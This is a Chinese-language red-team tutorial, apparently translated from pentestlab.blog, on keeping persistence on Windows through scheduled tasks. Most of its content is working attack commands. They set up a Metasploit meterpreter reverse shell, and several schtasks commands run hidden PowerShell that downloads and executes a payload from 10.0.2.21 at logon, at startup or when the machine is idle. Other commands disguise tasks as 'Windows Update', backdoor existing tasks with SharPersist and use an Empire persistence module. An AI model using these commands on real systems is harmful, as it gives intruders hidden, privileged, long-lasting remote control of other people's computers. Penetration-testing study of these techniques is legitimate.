利用计划任务维持系统权限

2021-05-27 15:08:02 浏览数 (1)

在 Windows 系统上,可以使用计划任务来定时执行某些操作,方便用户对系统的使用和管理,红队成员也可以利用这个特性来对系统进行持久化的控制。

创建计划任务可以本地或者远程操作,也可以作为远程执行命令的一种方式,老版本的 Windows 系统可以用 at 命令创建,新系统内逐渐替换为 schtask 命令。

首先使用 Metasplit 的 web_delivery 模块生成一个有效 payload:

代码语言:javascript复制
use exploit/multi/script/web_delivery
set payload windows/x64/meterpreter/reverse_tcp
set LHOST 10.0.2.21
set target 5
exploit

在 cmd 下执行 schtask 来创建计划任务,在用户登录系统时,执行生成好的 Powershell 的 padyload:

schtasks /create /tn PentestLab /tr "c:windowssyswow64WindowsPowerShellv1.0powershell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-object net.webclient).downloadstring(''http://10.0.2.21:8080/ZPWLywg'''))'" /sc onlogon /ru System

当用户登录时,payload 执行后,meterpreter 得到一个会话:

也可以在空闲时间进行执行,命令如下:

#(X64) - On System Start schtasks /create /tn PentestLab /tr "c:windowssyswow64WindowsPowerShellv1.0powershell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-object net.webclient).downloadstring(''http://10.0.2.21:8080/ZPWLywg'''))'" /sc onstart /ru System #(X64) - On User Idle (30mins) schtasks /create /tn PentestLab /tr "c:windowssyswow64WindowsPowerShellv1.0powershell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-object net.webclient).downloadstring(''http://10.0.2.21:8080/ZPWLywg'''))'" /sc onidle /i 30 #(X86) - On User Login schtasks /create /tn PentestLab /tr "c:windowssystem32WindowsPowerShellv1.0powershell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-object net.webclient).downloadstring(''http://10.0.2.21:8080/ZPWLywg'''))'" /sc onlogon /ru System #(X86) - On System Start schtasks /create /tn PentestLab /tr "c:windowssystem32WindowsPowerShellv1.0powershell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-object net.webclient).downloadstring(''http://10.0.2.21:8080/ZPWLywg'''))'" /sc onstart /ru System #(X86) - On User Idle (30mins) schtasks /create /tn PentestLab /tr "c:windowssystem32WindowsPowerShellv1.0powershell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-object net.webclient).downloadstring(''http://10.0.2.21:8080/ZPWLywg'''))'" /sc onidle /i 30

除了可以定时执行外,还可以设置过期时间和自我删除功能:

schtasks /CREATE /TN "Windows Update" /TR "c:windowssyswow64WindowsPowerShellv1.0powershell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-object net.webclient).downloadstring(''http://10.0.2.21:8080/ZPWLywg'''))'" /SC minute /MO 1 /ED 04/11/2019 /ET 06:53 /Z /IT /RU %USERNAME%

如果目标系统启用了事件日志记录,可以选择在特定的事件上触发任务,可以使用 wevtutil 查询事件 ID:

wevtutil qe Security /f:text /c:1 /q:"Event[System[(EventID=4647)]]

然后创建一个调度任务,当关联的事件 ID 出现时,触发任务执行:

schtasks /Create /TN OnLogOff /TR C:tmppentestlab.exe /SC ONEVENT /EC Security /MO "*[System[(Level=4 or Level=0) and (EventID=4634)]]"

使用 Query 参数可以查看创建的任务计划:

schtasks /Query /tn OnLogOff /fo List /v

当管理员登出系统时,触发任务执行:

也可以使用 Powershell 来创建计划任务:

代码语言:javascript复制
$A = New-ScheduledTaskAction -Execute "cmd.exe" -Argument "/c C:temppentestlab.exe"
$T = New-ScheduledTaskTrigger -AtLogOn -User "pentestlab"
$S = New-ScheduledTaskSettingsSet
$P = New-ScheduledTaskPrincipal "Pentestlab"
$D = New-ScheduledTask -Action $A -Trigger $T -Principal $P -Settings $S
Register-ScheduledTask Pentestlab -InputObjec $D
 
$A = New-ScheduledTaskAction -Execute "cmd.exe" -Argument "/c C:temppentestlab.exe"
$T = New-ScheduledTaskTrigger -Daily -At 9am
$P = New-ScheduledTaskPrincipal "NT AUTHORITYSYSTEM" -RunLevel Highest
$S = New-ScheduledTaskSettingsSet
$D = New-ScheduledTask -Action $A -Trigger $T -Principal $P -Settings $S
Register-ScheduledTask PentestLaboratories -InputObject $D

SharPersist

这是个二进制文件,需要管理员权限运行,下载地址:

https://github.com/fireeye/SharPersist

使用下面的命令在管理员登录的时候执行 payload:

SharPersist.exe -t schtask -c "C:WindowsSystem32cmd.exe" -a "/c C:tmppentestlab.exe" -n "PentestLab" -m add -o logon

在目标系统重启之后执行 payload,获得会话:

SharPersist 还可以列出指定的计划任务来获得相关信息:

SharPersist -t schtask -m list -n "PentestLab"

或者列出全部的计划任务信息:

SharPersist -t schtask -m list

SharPersist 也可以检查任务是否执行成功的功能:

SharPersist.exe -t schtask -c "C:WindowsSystem32cmd.exe" -a "/c C:tmppentestlab.exe" -n "PentestLab" -m check

列出登录时执行的所有计划任务,可以用于排查恶意软件添加的计划任务:

SharPersist -t schtaskbackdoor -m list -o logon

使用 schtaskbackdoor 和 check 功能结合,可以识别指定的计划任务是否为后门:

SharPersist.exe -t schtaskbackdoor -c "C:WindowsSystem32cmd.exe" -a "/c C:tmppentestlab.exe" -n "PentestLab" -m check

使用 add 参数可以执行恶意命令的现有计划任务:

SharPersist.exe -t schtaskbackdoor -c "C:WindowsSystem32cmd.exe" -a "/c C:tmppentestlab.exe" -n "ReconcileLanguageResources" -m add

Empire

使用下面的命令创建每天凌晨 03:22 执行基于 PowerShell 的 payload,任务名称为 "WindowsUpdate" 用来迷惑用户:

usemodule persistence/userland/schtasks set Listener http set TaskName WindowsUpdate set DailyTime 03:22 execute

Payload 会以 base64 编码的格式保存在注册表中,还有个模块可以在用户登录期间执行 Payload:

usemodule persistence/elevated/schtasks* set Listener http

参考

https://attack.mitre.org/techniques/T1053/

https://github.com/fireeye/SharPersist

https://www.fireeye.com/blog/threat-research/2019/09/sharpersist-windows-persistence-toolkit.html

https://powersploit.readthedocs.io/en/latest/Persistence/New-UserPersistenceOption/

https://docs.microsoft.com/en-us/windows/win32/taskschd/schtasks?redirectedfrom=MSDN

文章来源:

https://pentestlab.blog/2019/11/04/persistence-scheduled-tasks/

0 人点赞